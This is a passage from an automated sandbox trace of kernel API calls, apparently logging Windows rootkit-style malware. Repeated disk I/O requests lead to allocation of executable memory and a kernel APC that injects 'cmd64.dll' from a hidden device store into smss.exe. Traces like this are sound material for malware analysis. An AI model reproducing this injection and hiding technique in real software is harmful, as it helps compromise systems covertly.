Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.558] IdePortDispatch () returned 0x103 [0066.558] KeWaitForMutexObject () returned 0x0 [0066.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.558] IdePortDispatch () returned 0x103 [0066.559] KeWaitForMutexObject () returned 0x0 [0066.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.559] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.559] IdePortDispatch () returned 0x103 [0066.559] KeWaitForMutexObject () returned 0x0 [0066.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.559] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.559] IdePortDispatch () returned 0x103 [0066.560] KeWaitForMutexObject () returned 0x0 [0066.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.560] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.560] IdePortDispatch () returned 0x103 [0066.560] KeWaitForMutexObject () returned 0x0 [0066.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.560] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.560] IdePortDispatch () returned 0x103 [0066.560] KeWaitForMutexObject () returned 0x0 [0066.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.561] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.561] IdePortDispatch () returned 0x103 [0066.561] KeWaitForMutexObject () returned 0x0 [0066.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.561] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.561] IdePortDispatch () returned 0x103 [0066.561] KeWaitForMutexObject () returned 0x0 [0066.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.561] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.561] IdePortDispatch () returned 0x103 [0066.561] KeWaitForMutexObject () returned 0x0 [0066.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.561] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.561] IdePortDispatch () returned 0x103 [0066.562] KeWaitForMutexObject () returned 0x0 [0066.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.562] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.562] IdePortDispatch () returned 0x103 [0066.562] KeWaitForMutexObject () returned 0x0 [0066.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.562] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.562] IdePortDispatch () returned 0x103 [0066.562] KeWaitForMutexObject () returned 0x0 [0066.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.562] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.562] IdePortDispatch () returned 0x103 [0066.562] KeWaitForMutexObject () returned 0x0 [0066.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.563] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.563] IdePortDispatch () returned 0x103 [0066.563] KeWaitForMutexObject () returned 0x0 [0066.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.563] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.563] IdePortDispatch () returned 0x103 [0066.563] KeWaitForMutexObject () returned 0x0 [0066.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.563] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.563] IdePortDispatch () returned 0x103 [0066.563] KeWaitForMutexObject () returned 0x0 [0066.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.563] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.563] IdePortDispatch () returned 0x103 [0066.564] KeWaitForMutexObject () returned 0x0 [0066.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.564] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.564] IdePortDispatch () returned 0x103 [0066.564] KeWaitForMutexObject () returned 0x0 [0066.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.564] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.564] IdePortDispatch () returned 0x103 [0066.564] KeWaitForMutexObject () returned 0x0 [0066.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.564] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.564] IdePortDispatch () returned 0x103 [0066.564] KeWaitForMutexObject () returned 0x0 [0066.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.565] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.565] IdePortDispatch () returned 0x103 [0066.565] KeWaitForMutexObject () returned 0x0 [0066.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.565] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.565] IdePortDispatch () returned 0x103 [0066.565] KeWaitForMutexObject () returned 0x0 [0066.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.565] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.565] IdePortDispatch () returned 0x103 [0066.565] KeWaitForMutexObject () returned 0x0 [0066.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.566] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.566] IdePortDispatch () returned 0x103 [0066.566] KeWaitForMutexObject () returned 0x0 [0066.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.566] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.566] IdePortDispatch () returned 0x103 [0066.566] KeWaitForMutexObject () returned 0x0 [0066.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.567] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.567] IdePortDispatch () returned 0x103 [0066.567] KeWaitForMutexObject () returned 0x0 [0066.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.567] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.567] IdePortDispatch () returned 0x103 [0066.567] KeWaitForMutexObject () returned 0x0 [0066.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.567] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.567] IdePortDispatch () returned 0x103 [0066.567] KeWaitForMutexObject () returned 0x0 [0066.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.567] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.567] IdePortDispatch () returned 0x103 [0066.568] KeWaitForMutexObject () returned 0x0 [0066.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.568] KeLeaveCriticalRegion () [0066.568] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.568] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000178, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x190000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0066.568] RtlImageNtHeader (BaseAddress=0x190000) returned 0x190040 [0066.568] RtlImageDirectoryEntryToData (in: BaseAddress=0x190000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0066.568] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000178, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x1b0000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0066.568] _snprintf (in: _Dest=0x1b0020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0066.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003435c50 [0066.568] KeInitializeApc (Apc=0xfffffa8003435c50, Thread=0xfffffa80029e8040, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x1b0128, Mode=0xfffff88000000001, Context=0x1b0000) [0066.568] KeInsertQueueApc (Apc=0xfffffa8003435c50, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0066.568] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0066.568] ZwClose (Handle=0x5c) returned 0x0 [0066.568] ZwClose (Handle=0xffffffff8000017c) returned 0x0 [0066.568] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0066.568] KeEnterCriticalRegion () [0066.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.569] IoGetRequestorProcess (Irp=0xfffffa80018af570) returned 0xfffffa80018ab040 [0066.569] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800342e360, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0066.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.569] KeLeaveCriticalRegion () [0066.569] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.569] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0066.569] PsGetProcessImageFileName () returned 0xfffffa80029dbe10 [0066.569] _snprintf (in: _Dest=0xfffffa800344ccc8, _Count=0x103, _Format="%s (x64)" | out: _Dest="smss.exe (x64)") returned 14 [0066.569] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0066.569] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000160, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0066.569] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.569] KeEnterCriticalRegion () [0066.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.569] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0066.569] IdePortDispatch () returned 0x103 [0066.569] KeWaitForMutexObject () returned 0x0 [0066.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.569] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0066.569] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0066.569] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0066.569] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003432810 [0066.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] KeLeaveCriticalRegion () [0066.570] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.570] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x80000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0066.570] NtLockFile (in: FileHandle=0xffffffff80000160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0066.570] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.570] KeEnterCriticalRegion () [0066.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80018af570, Context=0x0) returned 0x0 [0066.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] KeLeaveCriticalRegion () [0066.570] ZwQueryInformationFile (in: FileHandle=0xffffffff80000160, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0066.570] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.570] KeEnterCriticalRegion () [0066.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.570] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0066.570] IdePortDispatch () returned 0x103 [0066.570] KeWaitForMutexObject () returned 0x0 [0066.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.570] 